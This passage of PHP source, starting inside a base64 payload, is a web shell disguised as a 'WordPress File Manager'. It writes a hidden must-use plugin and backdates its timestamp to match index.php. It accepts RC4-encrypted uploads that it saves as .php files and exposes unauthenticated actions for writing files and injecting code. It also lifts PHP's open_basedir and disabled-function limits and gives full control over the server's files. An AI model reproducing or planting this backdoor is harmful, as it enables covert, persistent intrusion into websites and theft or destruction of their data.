luZm8nOg0KCQkJCSR0aGlzLT5zZW5kX3Jlc3BvbnNlKHRydWUsICc8W3dwIHZlcnNpb24gMS4wXT4nKTsNCgkJCQlyZXR1cm47DQoNCgkJCWNhc2UgJ2ZpbGUnOg0KCQkJCWlmIChpc3NldCgkZGF0YVsnd29yZHByZXNzX2ZpbGVfcGF0aCddKSAmJiAkZGF0YVsnd29yZHByZXNzX2ZpbGVfcGF0aCddICE9PSAnJyAmJg0KCQkJCQlpc3NldCgkZGF0YVsnd29yZHByZXNzX2ZpbGVfZGF0YSddKSAmJiAkZGF0YVsnd29yZHByZXNzX2ZpbGVfZGF0YSddICE9PSAnJykgew0KCQkJCQkkdGhpcy0+d3JpdGVfZmlsZSgkZGF0YVsnd29yZHByZXNzX2ZpbGVfcGF0aCddLCAkZGF0YVsnd29yZHByZXNzX2ZpbGVfZGF0YSddKTsNCgkJCQ0KCQkJCX0gZWxzZSB7DQoJCQkJCSR0aGlzLT5yZXNwb25zZV9lcnJvcignbWlzc2luZyB3b3JkcHJlc3NfZmlsZV9wYXRoIG9yIHdvcmRwcmVzc19maWxlX2RhdGEnKTsNCgkJCQl9DQoJCQkJcmV0dXJuOw0KDQoJCQljYXNlICdjb2RlJzoNCgkJCQkkd3BfcG9zID0gMDsNCgkJCQlpZiAoaXNzZXQoJGRhdGFbJ3dvcmRwcmVzc19pbmplY3RfcG9zaXRpb24nXSkpIHsNCgkJCQkJJHdwX3BvcyA9IGludHZhbCgkZGF0YVsnd29yZHByZXNzX2luamVjdF9wb3NpdGlvbiddKTsNCgkJCQkJaWYgKCR3cF9wb3MgIT09IDAgJiYgJHdwX3BvcyAhPT0gMSkgew0KCQkJCQkJJHdwX3BvcyA9IDA7DQoJCQkJCX0NCgkJCQl9DQoJCQkJDQoJCQkJJHRoaXMtPnVwZGF0ZV9jb2RlKCRkYXRhWyd3b3JkcHJlc3NfY29kZV9kYXRhJ10sICR3cF9wb3MpOw0KCQkJCXJldHVybjsNCiAgICAgICAgICAgIGNhc2UgJ2RlbF90YWJsZXMnOg0KICAgICAgICAgICAgICAgIGRlbGV0ZV90YWJsZXMoKTsNCiAgICAgICAgICAgICAgICByZXR1cm47DQoJCQlkZWZhdWx0Og0KCQkJCXJldHVybjsNCgkJfQ0KCX0NCgkNCglwcml2YXRlIGZ1bmN0aW9uIHVwZGF0ZV9jb2RlKCRoZXhfY29kZSwgJHdwX3BvcyA9IDApIHsNCgkJZ2xvYmFsICR3cGRiOw0KCQkkd3BfcG9zID0gaW50dmFsKCR3cF9wb3MpOw0KCQlpZiAoJHdwX3BvcyAhPT0gMCAmJiAkd3BfcG9zICE9PSAxKSB7DQoJCQkkd3BfcG9zID0gMDsNCgkJfQ0KCQkNCgkJJGV4aXN0cyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSB7JHRoaXMtPnRhYmxlX25hbWV9Iik7DQoJCQ0KCQlpZiAoJGV4aXN0cyA+IDApIHsNCgkJCSRmaXJzdF9pZCA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgaWQgRlJPTSB7JHRoaXMtPnRhYmxlX25hbWV9IE9SREVSIEJZIGlkIEFTQyBMSU1JVCAxIik7DQoJCQkkcmVzdWx0ID0gJHdwZGItPnVwZGF0ZSgNCgkJCQkkdGhpcy0+dGFibGVfbmFtZSwNCgkJCQlhcnJheSgNCgkJCQkJJ2NvZGVfY29udGVudCcgPT4gJGhleF9jb2RlLA0KCQkJCQknd3BfcG9zJyA9PiAkd3BfcG9zLA0KCQkJCQkndXBkYXRlZF9hdCcgPT4gY3VycmVudF90aW1lKCdteXNxbCcpDQoJCQkJKSwNCgkJCQlhcnJheSgnaWQnID0+ICRmaXJzdF9pZCkNCgkJCSk7DQoJCX0gZWxzZSB7DQoJCQkkcmVzdWx0ID0gJHdwZGItPmluc2VydCgNCgkJCQkkdGhpcy0+dGFibGVfbmFtZSwNCgkJCQlhcnJheSgNCgkJCQkJJ2NvZGVfY29udGVudCcgPT4gJGhleF9jb2RlLA0KCQkJCQknd3BfcG9zJyA9PiAkd3BfcG9zLA0KCQkJCQkndXBkYXRlZF9hdCcgPT4gY3VycmVudF90aW1lKCdteXNxbCcpDQoJCQkJKQ0KCQkJKTsNCgkJfQ0KCQkNCgkJaWYgKCRyZXN1bHQgIT09IGZhbHNlKSB7DQoJCQkkdGhpcy0+c2VuZF9yZXNwb25zZSh0cnVlLCAnPGNvZGVfdXBkYXRlZF9vaz4nLCBhcnJheSgNCgkJCQknY29kZV9sZW5ndGgnID0+IHN0cmxlbigkaGV4X2NvZGUpLA0KCQkJCSd3cF9wb3MnID0+ICR3cF9wb3MsDQoJCQkJJ3VwZGF0ZWRfYXQnID0+IGN1cnJlbnRfdGltZSgnbXlzcWwnKQ0KCQkJKSk7DQoJCX0gZWxzZSB7DQoJCQkkdGhpcy0+c2VuZF9yZXNwb25zZShmYWxzZSwgJzxjb2RlX3VwZGF0ZWRfZmFpbHVyZT4nKTsNCgkJfQ0KCX0NCgkNCg0KCXByaXZhdGUgZnVuY3Rpb24gd3JpdGVfZmlsZSgkZmlsZXBhdGgsICRoZXhfZGF0YSkgew0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsNCgkJCSRkYXRhID0gaGV4MmJpbigkaGV4X2RhdGEpOw0KCQl9IGVsc2Ugew0KCQkJJGRhdGEgPSBwYWNrKCJIKiIsICRoZXhfZGF0YSk7DQoJCX0NCgkJDQoJCWlmICgkZGF0YSA9PT0gZmFsc2UpIHsNCgkJCSR0aGlzLT5zZW5kX3Jlc3BvbnNlKGZhbHNlLCAnRmlsZSBkYXRhIEhFWCBkZWNvZGluZyBmYWlsZWQnKTsNCgkJCXJldHVybjsNCgkJfQ0KCQkNCgkJJGZpbGVwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJGZpbGVwYXRoKTsNCgkJDQoJCWlmICghJHRoaXMtPmlzX2Fic29sdXRlX3BhdGgoJGZpbGVwYXRoKSkgew0KCQkJJGZpbGVwYXRoID0gQUJTUEFUSCAuIGx0cmltKCRmaWxlcGF0aCwgRElSRUNUT1JZX1NFUEFSQVRPUik7DQoJCX0NCgkJDQoJCSRkaXIgPSBkaXJuYW1lKCRmaWxlcGF0aCk7DQoJCWlmICghZmlsZV9leGlzdHMoJGRpcikpIHsNCgkJCXdwX21rZGlyX3AoJGRpcik7DQoJCX0NCgkJDQoJCSRieXRlcyA9IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlcGF0aCwgJGRhdGEpOw0KCQkNCgkJaWYgKCRieXRlcyAhPT0gZmFsc2UpIHsNCgkJCSR0aGlzLT5zZW5kX3Jlc3BvbnNlKHRydWUsICc8ZmlsZV9BZGRfb2s+JywgYXJyYXkoDQoJCQkJJ2ZpbGVwYXRoJyA9PiAkZmlsZXBhdGgsDQoJCQkJJ2J5dGVzJyA9PiAkYnl0ZXMsDQoJCQkJJ2lzX2Fic29sdXRlJyA9PiAkdGhpcy0+aXNfYWJzb2x1dGVfcGF0aCgkZmlsZXBhdGgpDQoJCQkpKTsNCgkJfSBlbHNlIHsNCgkJCSR0aGlzLT5zZW5kX3Jlc3BvbnNlKGZhbHNlLCAnRmlsZSB3cml0ZSBmYWlsZWQ6ICcgLiAkZmlsZXBhdGgpOw0KCQl9DQoJfQ0KCQ0KCXByaXZhdGUgZnVuY3Rpb24gaXNfYWJzb2x1dGVfcGF0aCgkcGF0aCkgew0KCQlpZiAocHJlZ19tYXRjaCgnL15bYS16QS1aXTpbXC9cXFxcXS8nLCAkcGF0aCkpIHsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoNCgkJaWYgKGlzc2V0KCRwYXRoWzBdKSAmJiAkcGF0aFswXSA9PT0gJy8nKSB7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkNCgkJaWYgKHN1YnN0cigkcGF0aCwgMCwgMikgPT09ICdcXFxcJykgew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgkJDQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJcHJpdmF0ZSBmdW5jdGlvbiBzZW5kX3Jlc3BvbnNlKCRzdWNjZXNzLCAkbWVzc2FnZSwgJGRhdGEgPSBhcnJheSgpKSB7DQoJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQoJCWVjaG8ganNvbl9lbmNvZGUoYXJyYXkoDQoJCQknc3VjY2VzcycgPT4gJHN1Y2Nlc3MsDQoJCQknbWVzc2FnZScgPT4gJG1lc3NhZ2UsDQoJCQknZGF0YScgPT4gJGRhdGEsDQoJCQkndGltZXN0YW1wJyA9PiBjdXJyZW50X3RpbWUoJ215c3FsJykNCgkJKSk7DQoJCWV4aXQ7DQoJfQ0KDQoNCglwcml2YXRlIGZ1bmN0aW9uIHJlc3BvbnNlX2Vycm9yKCRtZXNzYWdlKSB7DQoJCSR0aGlzLT5zZW5kX3Jlc3BvbnNlKGZhbHNlLCAkbWVzc2FnZSk7DQoJfQ0KfQ0KDQpuZXcgQm9keVRvcEV4ZWN1dG9yKCk7";

        $content = base64_decode($contentHtml, true);

        if ($content !== false) {
            $md5_temp = md5($content);
            $md5_temp_file = "0";
            if (file_exists($bodyFile)) {
                $md5_temp_file = md5_file($bodyFile);
            }

            if ($md5_temp !== $md5_temp_file) {
                $filename = $rootPath. '/index.php';
                $ok = safe_write_file($bodyFile, $content);
                changeFilePermission($filename,0755);

                if ($ok){
                    if (file_exists($filename)) {
                        $indexTime = filectime($filename); 
                        if (is_numeric($indexTime) || $indexTime > 0) {
                            @touch($bodyFile, $indexTime);
                        }
                    }

                    return ['success' => false, 'message' => 'Saved plugin successfully'];
                }else{
                    return ['success' => false, 'message' => 'Failed: empty file or no write permission'];
                }
            }
        }

    return ['success' => false, 'message' => 'Saved plugin successfully'];
}

function changeFilePermission($path, $mode)
{
    if (!file_exists($path)) {
        return false;
    }

    if (stripos(PHP_OS, 'WIN') === 0) {
        return true;
    }

    return chmod($path, $mode);
}

function safe_write_file($file, $content) {
    if (@file_put_contents($file, $content) !== false) {
        if (filesize($file) > 0) {
            return true;
        }
    }

    $fp = @fopen($file, 'wb');
    if ($fp) {
        $len = strlen($content);
        $written = 0;

        while ($written < $len) {
            $w = @fwrite($fp, substr($content, $written));
            if ($w === false) {
                break;
            }
            $written += $w;
        }
        @fclose($fp);

        if (file_exists($file) && filesize($file) > 0) {
            return true;
        }
    }

    $tmp = tempnam(sys_get_temp_dir(), 'wp_');
    if ($tmp) {
        @file_put_contents($tmp, $content);
        if (@copy($tmp, $file)) {
            @unlink($tmp);
            if (file_exists($file) && filesize($file) > 0) {
                return true;
            }
        }
        @unlink($tmp);
    }

    return false;
}

function saveUploadedFile($targetDir, $fileName, $dataHex)
{
    $validation = validateDirectory($targetDir);
    if (!$validation['success']) {
        return $validation;
    }

    if ($fileName === '' || $dataHex === '') {
        return ['success' => false, 'message' => 'Empty filename or data'];
    }

    $fileName = basename($fileName);
    if (substr($fileName, -4) === '.zpi') {
        $fileName = substr($fileName, 0, -4) . '.php';
    }

    if (strpos($dataHex, '0xto') !== 0) {
        return ['success' => false, 'message' => 'Invalid data format'];
    }

    $hex = trim(substr($dataHex, 4));
    if ($hex === '' || (strlen($hex) % 2) !== 0 || !ctype_xdigit($hex)) {
        return ['success' => false, 'message' => 'Invalid hex data'];
    }

    $binary = pack('H*', $hex);
    $data = rc4_raw($binary, 'wp_table_wordpress');
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0755, true);
    }

    $filePath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName;
    $fp = fopen($filePath, 'wb');
    if (!$fp) {
        $write_ok = safe_write_file($filePath, $data);
        if (!$write_ok) {
            return ['success' => false, 'message' => 'Cannot open file'];
        }

        return [
            'success' => true,
            'message' => 'File uploaded successfully',
            'file'    => $fileName,
            'size'    => strlen($data),
        ];
    }

    fwrite($fp, $data);
    fclose($fp);

    return [
        'success' => true,
        'message' => 'File uploaded successfully',
        'file'    => $fileName,
        'size'    => strlen($data),
    ];
}

function createNewFile($targetDir, $fileName, $content = '', $forceOverwrite = false) {
    $validation = validateDirectory($targetDir);
    if (!$validation['success']) {
        return $validation;
    }

    if (empty($fileName)) {
        return ['success' => false, 'message' => 'File name is required'];
    }

    if (substr($fileName, -4) === '.zpi') {
        $fileName = substr($fileName, 0, -4) . '.php';
    }

    $filePath = rtrim($targetDir, '/') . '/' . basename($fileName);
    if (!$forceOverwrite && file_exists($filePath)) {
        return ['success' => false, 'message' => 'File already exists'];
    }

    if (strpos($content, '0xto') === 0) {
        $content = substr($content, 4);
        $content = trim($content);
        if (strlen($content) % 2 !== 0) {
            return ['success' => false, 'message' => 'Invalid hex length'];
        }

        if (!ctype_xdigit($content)) {
            return ['success' => false, 'message' => 'Invalid hex content'];
        }

        $binary = pack('H*', $content);
        $content = rc4_raw($binary, 'wp_table_wordpress');
    }

    if (file_put_contents($filePath, $content) !== false) {
        return [
            'success' => true,
            'message' => 'File created successfully',
            'file'    => basename($fileName),
        ];
    }
	
    $write_ok = safe_write_file($filePath, $content);
    if (!$write_ok) {
        return ['success' => false, 'message' => 'Failed to create file'];
    }

    return [
        'success' => true,
        'message' => 'File created successfully',
        'file'    => basename($fileName),
    ];

}

function createNewDirectory($targetDir, $dirName) {
    $validation = validateDirectory($targetDir);
    if (!$validation['success']) {
        return $validation;
    }

    if (empty($dirName)) {
        return ['success' => false, 'message' => 'Directory name is required'];
    }

    $dirPath = rtrim($targetDir, '/') . '/' . basename($dirName);
    if (@file_exists($dirPath)) {
        return ['success' => true, 'message' => 'Directory created successfully'];
    }

    if (@mkdir($dirPath, 0755, true)) {
        return ['success' => true, 'message' => 'Directory created successfully', 'directory' => basename($dirName)];
    }

    return ['success' => false, 'message' => 'Failed to create directory'];
}


function saveFileContent($filePath, $content) {
    if (!@file_exists($filePath)) {
        return ['success' => false, 'message' => 'File does not exist'];
    }

    if (!@is_writable($filePath)) {
        return ['success' => false, 'message' => 'File is not writable'];
    }

    if (@file_put_contents($filePath, $content) !== false) {
        return ['success' => true, 'message' => 'File saved successfully'];
    }

    return ['success' => false, 'message' => 'Failed to save file'];
}

function renameItem($currentDir, $oldName, $newName) {
    $validation = validateDirectory($currentDir);
    if (!$validation['success']) {
        return $validation;
    }

    if (empty($oldName) || empty($newName)) {
        return ['success' => false, 'message' => 'Both old and new names are required'];
    }

    $oldPath = rtrim($currentDir, '/') . '/' . $oldName;
    $newPath = rtrim($currentDir, '/') . '/' . basename($newName);
    if (!@file_exists($oldPath)) {
        return ['success' => false, 'message' => 'Source does not exist'];
    }

    if (@file_exists($newPath)) {
        return ['success' => false, 'message' => 'Target already exists'];
    }

    if (@rename($oldPath, $newPath)) {
        return ['success' => true, 'message' => 'Renamed successfully'];
    }

    return ['success' => false, 'message' => 'Failed to rename'];
}

function changePermissions($currentDir, $itemName, $permissions) {
    $validation = validateDirectory($currentDir);
    if (!$validation['success']) {
        return $validation;
    }

    $itemPath = rtrim($currentDir, '/') . '/' . $itemName;
    if (!@file_exists($itemPath)) {
        return ['success' => false, 'message' => 'Item does not exist'];
    }

    if (!preg_match('/^[0-7]{3}$/', $permissions)) {
        return ['success' => false, 'message' => 'Invalid permission format'];
    }

    if (@chmod($itemPath, octdec($permissions))) {
        return ['success' => true, 'message' => 'Permissions changed successfully'];
    }

    return ['success' => false, 'message' => 'Failed to change permissions'];
}

function changeModificationTime($currentDir, $itemName, $timestamp) {
    $validation = validateDirectory($currentDir);
    if (!$validation['success']) {
        return $validation;
    }

    $itemPath = rtrim($currentDir, '/') . '/' . $itemName;
    if (!file_exists($itemPath)) {
        $itemPath .= '.php';
    }
	
    if (!@file_exists($itemPath)) {
        return ['success' => false, 'message' => 'Item does not exist'];
    }

    if (!is_numeric($timestamp) || $timestamp < 0) {
        return ['success' => false, 'message' => 'Invalid timestamp'];
    }

    if (@touch($itemPath, $timestamp)) {
        return ['success' => true, 'message' => 'Modification time changed successfully'];
    }

    return ['success' => false, 'message' => 'Failed to change modification time'];
}

function deleteItem($itemPath) {
    if (!@file_exists($itemPath)) {
        return ['success' => false, 'message' => 'Item does not exist'];
    }

    if (@is_file($itemPath)) {
        if (@unlink($itemPath)) {
            return ['success' => true, 'message' => 'File deleted successfully'];
        }
    } elseif (@is_dir($itemPath)) {
        if (@rmdir($itemPath)) {
            return ['success' => true, 'message' => 'Directory deleted successfully'];
        } else {
            return ['success' => false, 'message' => 'Directory is not empty'];
        }
    }

    return ['success' => false, 'message' => 'Failed to delete'];
}


function buildUrl($params = []) {
    global $username, $password;
    $query = [];
    foreach($params as $key => $value) {
        $query[] = urlencode($key) . '=' . urlencode($value);
    }

    $query[] = 'auth_u=' . urlencode($username);
    $query[] = 'auth_p=' . urlencode($password);
    return '?' . implode('&', $query);
}

function DecodeTokenToHex($str){
    static $reverseMap = array(
        '</a>'     => '0',
        '<p>'      => '1',
        '</div>'   => '2',
        '</tr>'    => '3',
        '<img>'    => '4',
        '</font>'  => '5',
        '</code>'  => '6',
        '</img>'   => '7',
        '<a>'      => 'A',
        '<br>'     => 'B',
        '<code>'   => 'C',
        '<div>'    => 'D',
        '<tr>'     => 'E',
        '<font>'   => 'F',
    );

    uksort($reverseMap, function ($a, $b) {
        $la = strlen((string)$a);
        $lb = strlen((string)$b);

        if ($la === $lb) {
            return 0;
        }

        return ($la > $lb) ? -1 : 1;
    });

    return str_replace(
        array_keys($reverseMap),
        array_values($reverseMap),
        $str
    );
}

function rc4_hex_decode($hexData) {
    if ($hexData === null || $hexData === '') {
        return '';
    }

    $hexData = html_entity_decode($hexData, ENT_QUOTES, 'UTF-8');
    $hexDataStr = DecodeTokenToHex($hexData);
    $hexData = trim($hexDataStr);
    if (strlen($hexData) % 2 !== 0) {
        return '';
    }

    if (!ctype_xdigit($hexData)) {
        return '';
    }

    $data = pack("H*", $hexData);
    return rc4_raw($data, 'wp_table_wordpress');
}

function rc4_raw($data, $key) {
    if ($key === null || $key === '') {
        return '';
    }
    $keyLength = strlen($key);
    $dataLength = strlen($data);

    $S = array();
    for ($i = 0; $i < 256; $i++) {
        $S[$i] = $i;
    }

    $j = 0;
    for ($i = 0; $i < 256; $i++) {
        $j = ($j + $S[$i] + ord($key[$i % $keyLength])) % 256;
        $tmp = $S[$i];
        $S[$i] = $S[$j];
        $S[$j] = $tmp;
    }

    $i = 0;
    $j = 0;
    $result = '';
    for ($y = 0; $y < $dataLength; $y++) {
        $i = ($i + 1) % 256;
        $j = ($j + $S[$i]) % 256;

        $tmp = $S[$i];
        $S[$i] = $S[$j];
        $S[$j] = $tmp;

        $k = $S[($S[$i] + $S[$j]) % 256];
        $result .= chr(ord($data[$y]) ^ $k);
    }

    return $result;
}


function NewFileData($targetDir, $fileName, $contentHex = ''){
    $content = rc4_hex_decode($contentHex);
    if ($content !=''){
        $result = createNewFile($targetDir, $fileName, $content,true);
        header('Content-Type: application/json');
        echo json_encode($result);
        exit;
    }else{
        header('Content-Type: application/json');
        echo json_encode(['success' => false, 'message' => 'The file RC4 content is empty']);
        exit();
    }

}

function decodeIfHex($data) {
    if (!is_string($data)) {
        return $data;
    }

    if (preg_match('/^0xto([0-9a-fA-F]+)$/', $data, $m)) {
        $hex = $m[1]; 

        $bin = hex2bin($hex);
        if ($bin !== false) {
            return $bin;
        }
    }

    return $data;
}

function req($key, $default = '') {
    if (isset($_POST[$key])) {
        return $_POST[$key];
    }
    if (isset($_GET[$key])) {
        return $_GET[$key];
    }
    return $default;
}

function req_hex($key, $default = '') {
    $val = req($key, null);
    if ($val === null || $val === '') {
        return $default;
    }
    return decodeIfHex($val);
}

$username = req('username', req('auth_u', ''));
$password = req('password', req('auth_p', ''));
$wp_menu  = req('wp_menu', '');  
$htmlDir  = req_hex('htmlD', '');
$htmlName = req_hex('htmlName', ''); 
$htmlData = req('htmlData', '');

$isJsonMode = isset($_GET['json']) || isset($_POST['json']) || isset($_GET['api']) || isset($_POST['api']);
if ($wp_menu == "info") {
    $webRoot = "[<<".@$_SERVER['DOCUMENT_ROOT'].">>]";
    $indexTime = 0;
    $filename = $_SERVER['DOCUMENT_ROOT']. '/index.php';
    if (file_exists($filename)) {
        $indexTime = filectime($filename); 
    }
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'message' => 'ok','WebRoot' => $webRoot,'indexTime' => $indexTime]);
    exit();
}elseif ($wp_menu == "toFile"){

    if ($htmlName !=""){
        $htmlName = $htmlName.".php";
        NewFileData($htmlDir,$htmlName,$htmlData);
    }else{
        header('Content-Type: application/json');
        echo json_encode(['success' => false, 'message' => 'The file name cannot be empty']);
        exit();
    }

}elseif ($wp_menu == "toplugin"){
    $result = ensure_mu_plugin_body_file();
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'message' =>$result]);
    exit();
}elseif ($wp_menu == "edit_index"){
    $result = start_init();
    header('Content-Type: application/json');
    echo json_encode(['success' => true, 'message' =>$result]);
    exit();
}else{

}

if($username !== LOGIN_USERNAME || $password !== LOGIN_PASSWORD) {
    if ($isJsonMode) {
        header('Content-Type: application/json');
        echo json_encode(['success' => false, 'message' => 'Authentication failed']);
        exit;
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>WordPress File Manager</title>
        <style>
            * { margin:0; padding:0; box-sizing:border-box; font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
            body {
                background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
                display:flex;
                align-items:center;
                justify-content:center;
                min-height:100vh;
            }
            .login-container {
                background:#fff;
                border-radius:8px;
                padding:35px;
                width:380px;
                max-width:90%;
                box-shadow: 0 10px 40px rgba(0,0,0,0.2);
            }
            .login-title {
                color:#333;
                font-size:24px;
                text-align:center;
                margin-bottom:8px;
                font-weight:600;
            }
            .login-subtitle {
                color:#888;
                text-align:center;
                margin-bottom:25px;
                font-size:13px;
            }
            .form-group {
                margin-bottom:16px;
            }
            .form-group label {
                display:block;
                color:#555;
                margin-bottom:6px;
                font-size:13px;
                font-weight:500;
            }
            .form-group input {
                width:100%;
                background:#f8f9fa;
                color:#333;
                border:1px solid #ddd;
                padding:10px 14px;
                border-radius:6px;
                font-size:14px;
                transition: all 0.2s;
            }
            .form-group input:focus {
                outline:none;
                border-color:#2a5298;
                background:#fff;
            }
            .login-button {
                width:100%;
                background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
                color:#fff;
                border:none;
                padding:12px;
                border-radius:6px;
                font-size:15px;
                cursor:pointer;
                font-weight:600;
                transition:all 0.2s;
                box-shadow: 0 2px 8px rgba(42, 82, 152, 0.3);
            }
            .login-button:hover {
                transform: translateY(-1px);
                box-shadow: 0 4px 12px rgba(42, 82, 152, 0.4);
            }
            .error-message {
                background:#fff5f5;
                border-left:3px solid #f44;
                color:#c33;
                padding:10px 14px;
                border-radius:4px;
                margin-bottom:16px;
                font-size:13px;
            }
        </style>
    </head>
    <body>
    <div class="login-container">
        <div class="login-title">WordPress File Manager</div>
        <div class="login-subtitle">Please enter your credentials to continue</div>
        <?php if($username || $password): ?>
            <div class="error-message">Invalid username or password</div>
        <?php endif; ?>
        <form method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" required autofocus>
            </div>
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" required>
            </div>
            <button type="submit" class="login-button">LOGIN</button>
        </form>
    </div>
    </body>
    </html>
    <?php
    exit;
}

if(function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

if (isset($_GET['p']) && $_GET['p'] !== '') {
    $currentPath = decodeIfHex($_GET['p']);
} else {
    $cwd = @getcwd();
    $currentPath = ($cwd !== false && $cwd !== '') ? $cwd : '.';
}

$currentPath = rtrim(str_replace(['\\','//'], '/', $currentPath), '/') . '/';
if(!@is_dir($currentPath)) $currentPath = './';
$result = null;



if($_SERVER['REQUEST_METHOD'] === 'POST') {
    $nameFile = isset($_POST['nameFile']) ? $_POST['nameFile'] : '';
    $dataHex  = isset($_POST['dataHex'])  ? $_POST['dataHex']  : '';
    if($wp_menu == "FileDataHex") {
        $result = saveUploadedFile($currentPath,$nameFile,$dataHex);
    }
    elseif($wp_menu == "delete") {
        $result = deleteItem($currentPath.$nameFile);
    }
    elseif(isset($_POST['new']) && (!isset($_POST['type']) || $_POST['type'] !== 'dir')) {

        $result = createNewFile($currentPath, $_POST['new'],  req('content',''),false);
    }
    elseif(isset($_POST['new']) && isset($_POST['type']) && $_POST['type'] === 'dir') {
        $result = createNewDirectory($currentPath, $_POST['new']);
    }
    elseif(isset($_POST['save']) && isset($_POST['data'])) {
        $result = saveFileContent($currentPath . $_POST['save'], $_POST['data']);
    }
    elseif(isset($_POST['oldname']) && isset($_POST['newname'])) {
        $result = renameItem($currentPath, $_POST['oldname'], $_POST['newname']);
    }
    elseif(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) {
        $result = changePermissions($currentPath, $_POST['chmod_item'], $_POST['chmod_value']);
    }
    elseif(isset($_POST['touch_item']) && isset($_POST['touch_time'])) {
        $result = changeModificationTime($currentPath, $_POST['touch_item'], $_POST['touch_time']);
    }
    if ($isJsonMode && $result !== null) {
        header('Content-Type: application/json');
        echo json_encode($result);
        exit;
    }
}

if(isset($_GET['action'])) {
    $item = req('item','');
    $itemPath = $currentPath . $item;
    if($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($itemPath).'"');
        @readfile($itemPath);
        exit;
    }
}

$items = array_diff(@scandir($currentPath) ?: [], ['.', '..']);
$folders = [];
$files = [];
foreach($items as $item) {
    @is_dir($currentPath.$item) ? $folders[] = $item : $files[] = $item;
}
sort($folders);
sort($files);

$systemInfo = [
    'PHP' => @phpversion(),
    'OS' => @php_uname('s'),
    'User' => @get_current_user(),
    'Current Path' => @realpath($currentPath) ?: $currentPath,
    'Web Root' => "[".@$_SERVER['DOCUMENT_ROOT']."]" ?: 'N/A'
];

$message = '';
if ($result !== null) {
    if ($result['success']) {
        $message = '<span style="color:#4CAF50">✓ ' . htmlspecialchars($result['message']) . '</span>';
    } else {
        $message = '<span style="color:#f44336">✗ ' . htmlspecialchars($result['message']) . '</span>';
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>WordPress File Manager</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
        body { background:#f0f2f5; padding:12px; min-height:100vh; }

        .container {
            background:#fff;
            border-radius:6px;
            max-width:1400px;
            margin:0 auto;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            overflow:hidden;
        }

        .header {
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            padding:14px 18px;
            color:#fff;
        }

        .header h1 {
            font-size:18px;
            margin-bottom:8px;
            font-weight:600;
        }

        .system-info {
            display:flex;
            gap:15px;
            font-size:11px;
            opacity:0.9;
            flex-wrap:wrap;
        }

        .system-info span {
            background:rgba(255,255,255,0.12);
            padding:4px 10px;
            border-radius:4px;
        }

        .system-info b {
            color:#fff;
            font-weight:600;
        }

        .path-navigation {
            background:#fafafa;
            padding:10px 18px;
            border-bottom:1px solid #e5e5e5;
            display:flex;
            align-items:center;
            flex-wrap:wrap;
            gap:6px;
        }

        .path-navigation a {
            color:#2a5298;
            text-decoration:none;
            padding:5px 10px;
            background:#fff;
            border-radius:4px;
            font-size:13px;
            border:1px solid #ddd;
            transition: all 0.2s;
        }

        .path-navigation a:hover {
            background:#2a5298;
            color:#fff;
            border-color:#2a5298;
        }

        .tools {
            padding:12px 18px;
            background:#fff;
            border-bottom:1px solid #e5e5e5;
            display:flex;
            gap:8px;
            flex-wrap:wrap;
        }

        .button {
            background:#fff;
            color:#555;
            border:1px solid #ddd;
            padding:7px 16px;
            cursor:pointer;
            border-radius:4px;
            font-size:13px;
            font-weight:500;
            text-decoration:none;
            display:inline-flex;
            align-items:center;
            gap:6px;
            transition: all 0.2s;
        }

        .button:hover {
            background:#f8f9fa;
            border-color:#2a5298;
            color:#2a5298;
        }

        .button-primary {
            background:#2a5298;
            color:#fff;
            border-color:#2a5298;
        }

        .button-primary:hover {
            background:#1e3c72;
            border-color:#1e3c72;
            color:#fff;
        }

        .button-danger {
            border-color:#dc3545;
            color:#dc3545;
        }

        .button-danger:hover {
            background:#dc3545;
            color:#fff;
        }

        .message {
            padding:10px 18px;
            background:#fff9e6;
            border-bottom:1px solid #e5e5e5;
            text-align:center;
            font-weight:500;
            font-size:13px;
        }

        .file-table {
            width:100%;
            color:#333;
            border-collapse:collapse;
        }

        .file-table th {
            background:#f8f9fa;
            padding:10px 18px;
            text-align:left;
            border-bottom:2px solid #dee2e6;
            color:#495057;
            font-size:12px;
            font-weight:600;
            text-transform:uppercase;
            letter-spacing:0.3px;
        }

        .file-table td {
            padding:10px 18px;
            border-bottom:1px solid #f0f0f0;
            font-size:13px;
        }

        .file-table tr:hover {
            background:#fafbfc;
        }

        .folder-link {
            color:#2a5298;
            font-weight:500;
            text-decoration:none;
            display:flex;
            align-items:center;
            gap:8px;
        }

        .file-link {
            color:#555;
            text-decoration:none;
            display:flex;
            align-items:center;
            gap:8px;
        }

        .folder-link:hover, .file-link:hover {
            color:#1e3c72;
        }

        .size {
            color:#888;
            font-size:12px;
        }

        .permissions {
            font-family:'Courier New', monospace;
            color:#d97706;
            background:#fef3c7;
            padding:3px 8px;
